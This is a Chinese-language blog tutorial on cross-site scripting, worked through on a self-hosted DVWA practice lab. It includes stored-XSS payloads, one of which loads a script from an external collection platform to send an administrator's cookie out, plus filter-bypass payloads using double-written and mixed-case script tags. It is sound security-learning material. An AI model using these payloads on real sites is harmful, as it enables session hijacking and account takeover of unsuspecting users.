XSS漏洞初窥(通过dvwa平台进测试)

时间:2022-09-27 22:13:35

xss的全称是:Cross Site Script,中文名叫“跨站脚本攻击”,因为和CSS重名,所以改名XSS。作为一个网站是肯定要和用户有交互的,那么肯定就伴随着信息的输入输出,而利用xss就是通过在输入时输入恶意的代码,向网站写入恶意的脚本,进而可以对网站的普通用户进行cookie劫持,甚至控制用户的浏览器,向用户插入木马等。常见的输入有哪些呢,比如搜索框,比如留言板,比如用户个人信息的修改。凡是涉及到输入就可能存在xss漏洞。

xss的分类

  1. 反射型xss
    发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射型XSS。常见于各种的搜索框。

  2. 存储型xss
    存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。常见于留言板等。

  3. DOM xss
    DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。


测试平台:自己搭建的dvwa

Dvwa简介:

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment。

就是一个用于安全测试的平台,项目地址:http://www.dvwa.co.uk/

测试用浏览器:Microsoft Edge(因为有的浏览器(比如Chrome)安全性比较好,所以有时可能在测试时没有结果。)


测试开始

初次尝试先把测试等级调成低级(low),便于测试:

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

就先做一个存储型的测试吧:

我先用test用户在xss(Stored)中message中输入:<script>alert(1)</script>。这串js代码是在浏览器弹出出一个“1”。

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

然后换成admin用户进入此模块,就能看到:

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

或许觉得这样没什么用,但我要是用来获取cookie呢。

我在test用户中的输入换成:<script>alert(document.cookie)</script>,弹出cookie的代码。那么当admin用户进入页面时就会直接在页面中弹出 cookie了:

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

那你会说弹出来别人不就知道了吗?那当然可以不弹,把cookie信息发送出去了。这里我借助了一个xss的平台用来获取cookie。我在test用户中的输入换成:

<script src=http://xsspt.com/GkvoyX?1521951009></script>

这是就会由平台接受这个cookie了。这时可以看到admin用户登入时没有异常,但是,xss send是有的。

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

这时就可以在远程看到接收的cookie了:

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

可能你会想有可cookie又能干嘛呢,cookie中保存着用户的登入信息。有了的话就可以通过cookie进行登入了。比如可以在浏览器控制台,通过命令修改cookie的值。

中级难度测试


那么接下来看看将dvwa的安全难度调到中级(medium)看看会如何。

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

然后输入代码:

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

发现并没有想中的弹出一个提示框,但是却有输出。

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

这是为啥呢?我们打开“开发人员选项”,可以看到输入的脚本只剩下了个alert(1)了,那当然就不起作用了。

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

这时候我们看看它的后台源代码:

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

后台调用了strip_tags() 和htmlspecialchars()函数,所以它把我们的脚本处理没了。这时该怎么办嘞?这时我们可以看到对于name的内容dvwa并没有这样处理,它用是: $name = str_replace( '<script>', '', $name ); 它只是单纯的过滤了<script>字段。那我们可以双写,输入:<sc<script>ript>alert('xss test')</script>进行绕过。或者使用大小写混合也能绕过,比如:<Script>alert("飞啊飞")</script>。

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

这时又有了:

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)

XSS漏洞初窥(通过dvwa平台进测试)XSS漏洞初窥(通过dvwa平台进测试)


函数说明:

strip_tags() :

函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签。

htmlspecialchars():把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体


XSS漏洞初窥(通过dvwa平台进测试)的更多相关文章

  1. XXE漏洞初窥

    前言: XXE Injection即XML External Entity Injection也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题. XML相关名词科 ...

  2. &lbrack;前端web安全&rsqb;XSS漏洞基础入门

    前言 XSS漏洞 Xss(Cross-Site Scripting)意为跨站脚本攻击,为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS ...

  3. 初窥XSS跨站脚本攻击

    XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS 经过后端,不经过数据库 2.储存型XSS 经过后端,经 ...

  4. 1&period;4 DVWA亲测XSS漏洞

    首先需要有配置好的DVWA环境,像下图这样   其中: XSS (DOM) :  DOM型XSS漏洞 XSS (Reflected) : 反射性XSS漏洞  XSS (Stored) :  存储型XS ...

  5. 一个小众搞笑的xss漏洞练习平台

    XSS是当今网络安全事件中数量最多的攻击方式,虽然其危害性不高,但主要和其他攻击手段相结合,以实现一个复杂的攻击场景.那么,XSS是什么? XSS全称跨站脚本(Cross Site Scripting ...

  6. iOS视频直播初窥&colon;高仿&lt&semi;喵播APP&gt&semi;

    视频直播初窥 视频直播,可以分为 采集,前处理,编码,传输, 服务器处理,解码,渲染 采集: iOS系统因为软硬件种类不多, 硬件适配性比较好, 所以比较简单. 而Android端市面上机型众多, 要 ...

  7. XSS 漏洞介绍

    概念: XSS 攻击:跨站脚本攻击 (Cross Site Scripting),为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆.故将跨站脚本攻击缩写为 XS ...

  8. 从零学习安全测试,从XSS漏洞攻击和防御开始

    WeTest 导读 本篇包含了XSS漏洞攻击及防御详细介绍,包括漏洞基础.XSS基础.编码基础.XSS Payload.XSS攻击防御. 第一部分:漏洞攻防基础知识   XSS属于漏洞攻防,我们要研究 ...

  9. 基于dom的xss漏洞原理

    原文:http://www.anying.org/thread-36-1-1.html转载必须注明原文地址最近看到网络上很多人都在说XSS我就借着暗影这个平台发表下自己对这一块的一些认识.其实对于XS ...

随机推荐

  1. Html --用简单的&lt&semi;hr&gt&semi;实现多样化分割效果

    最基本的:<hr width=300 size=1 color=#5151A2 align=center noshade>. <!--其中 width 规定线条的长度,还可以是百分比 ...

  2. 模板函数 使用的默认void 模板报错

    You must specify the compiler argument -std=c++0x to avoid the following error: test.cpp:5:13: error ...

  3. 详细的JavaScript事件使用指南

       事件流 事件流描述的是从页面中接收事件的顺序,IE和Netscape提出来差不多完全相反的事件流的概念,IE事件流是事件冒泡流,Netscape事件流是事件捕获流. 事件冒泡 IE的事件流叫做事 ...

  4. Windows下使用xShell向远程Linux上传文件

    上传文件使用rz与sz命令,远程Linux系统上需要安装lrzsz工具包 下载安装包lrzsz-0.12.20.tar.gz:  http://www.linuxidc.com/Linux/2010- ...

  5. css样式表和选择器的优先级以及position元素属性值的区别

    css样式表优先级 问题:当同一个HTML元素被不止一个样式定义时,会使用哪个样式呢? 答:一般而言,所有的样式会根据下面的规则层叠于一个新的虚拟样式表中,其中数字4拥有最高的优先权. 1.浏览器缺省 ...

  6. 如何分析matlab程序的主要效率问题

    利用profile on 在需要分析效率的程序段前后加入 profile on profile off 然后,在common line中输入profile viewer即可观察到这段程序的效率

  7. 多个activity跳转保留内存使用intent传递数据问题&lowbar;新手

    /////本来是做的activity跳转,普通那种,但是会在调回来会销毁原来的,重新调用onCreate方法, 后来参考[http://blog.csdn.net/qq_26918031/articl ...

  8. 文本编辑器&lpar;KindEditord&rpar;

    1.下载 官网下载:http://kindeditor.net/down.php 本地下载:http://files.cnblogs.com/files/wupeiqi/kindeditor_a5.z ...

  9. &lbrack;转&rsqb; 深入浅出mongoose-----包括mongoose基本所有操作&comma;非常实用&excl;&excl;&excl;&excl;&excl;

    深入浅出mongoose mongoose是nodeJS提供连接 mongodb的一个库. 此外还有mongoskin, mongodb(mongodb官方出品). 本人,还是比较青睐mongoose ...

  10. vue中的组件

    一.自定义组件1.组件命名   A.dom模板在HTML模板中始终使用kebab-case命名组件 <kebab-cased-component> </kebab-cased-com ...